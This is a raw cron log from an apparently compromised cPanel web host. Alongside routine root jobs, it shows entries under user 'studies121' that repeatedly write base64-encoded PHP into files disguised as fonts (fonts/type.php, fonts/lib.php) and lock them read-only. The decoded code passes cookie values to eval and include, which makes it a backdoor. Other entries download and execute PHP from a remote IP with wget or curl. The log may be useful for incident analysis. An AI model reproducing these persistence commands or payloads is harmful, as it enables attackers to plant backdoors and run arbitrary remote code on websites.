Sep  3 03:33:01 ip-184-168-122-23 CROND[24855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:33:01 ip-184-168-122-23 CROND[24854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:33:01 ip-184-168-122-23 CROND[24856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:34:01 ip-184-168-122-23 CROND[25042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:34:01 ip-184-168-122-23 CROND[25044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:34:01 ip-184-168-122-23 CROND[25046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:34:01 ip-184-168-122-23 CROND[25049]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:34:01 ip-184-168-122-23 CROND[25048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:35:01 ip-184-168-122-23 CROND[25160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:35:01 ip-184-168-122-23 CROND[25161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:35:01 ip-184-168-122-23 CROND[25165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:35:01 ip-184-168-122-23 CROND[25168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:35:01 ip-184-168-122-23 CROND[25163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:35:01 ip-184-168-122-23 CROND[25164]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 03:35:01 ip-184-168-122-23 CROND[25166]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 03:35:01 ip-184-168-122-23 CROND[25169]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:36:01 ip-184-168-122-23 CROND[25277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:36:01 ip-184-168-122-23 CROND[25279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:36:01 ip-184-168-122-23 CROND[25280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:36:01 ip-184-168-122-23 CROND[25282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:36:01 ip-184-168-122-23 CROND[25281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:37:01 ip-184-168-122-23 CROND[25370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:37:01 ip-184-168-122-23 CROND[25374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:37:01 ip-184-168-122-23 CROND[25372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:37:01 ip-184-168-122-23 CROND[25373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:38:01 ip-184-168-122-23 CROND[25483]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:38:01 ip-184-168-122-23 CROND[25484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:38:01 ip-184-168-122-23 CROND[25485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:38:01 ip-184-168-122-23 CROND[25489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:38:01 ip-184-168-122-23 CROND[25488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:39:01 ip-184-168-122-23 CROND[25577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:39:01 ip-184-168-122-23 CROND[25578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:39:01 ip-184-168-122-23 CROND[25579]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 03:39:01 ip-184-168-122-23 CROND[25580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:39:01 ip-184-168-122-23 CROND[25582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:40:01 ip-184-168-122-23 CROND[25726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:40:01 ip-184-168-122-23 CROND[25729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:40:01 ip-184-168-122-23 CROND[25731]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 03:40:01 ip-184-168-122-23 CROND[25732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:40:01 ip-184-168-122-23 CROND[25730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:40:01 ip-184-168-122-23 CROND[25728]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:40:01 ip-184-168-122-23 CROND[25734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:40:01 ip-184-168-122-23 CROND[25733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:41:01 ip-184-168-122-23 CROND[25901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:41:01 ip-184-168-122-23 CROND[25904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:41:01 ip-184-168-122-23 CROND[25903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:41:01 ip-184-168-122-23 CROND[25905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:42:01 ip-184-168-122-23 CROND[26003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:42:01 ip-184-168-122-23 CROND[26005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:42:01 ip-184-168-122-23 CROND[26007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:42:01 ip-184-168-122-23 CROND[26006]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:42:01 ip-184-168-122-23 CROND[26010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:43:01 ip-184-168-122-23 CROND[26116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:43:01 ip-184-168-122-23 CROND[26115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:43:01 ip-184-168-122-23 CROND[26123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:43:01 ip-184-168-122-23 CROND[26122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:44:01 ip-184-168-122-23 CROND[26219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:44:01 ip-184-168-122-23 CROND[26221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:44:01 ip-184-168-122-23 CROND[26223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:44:01 ip-184-168-122-23 CROND[26224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:44:01 ip-184-168-122-23 CROND[26222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:45:01 ip-184-168-122-23 CROND[26349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:45:01 ip-184-168-122-23 CROND[26353]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
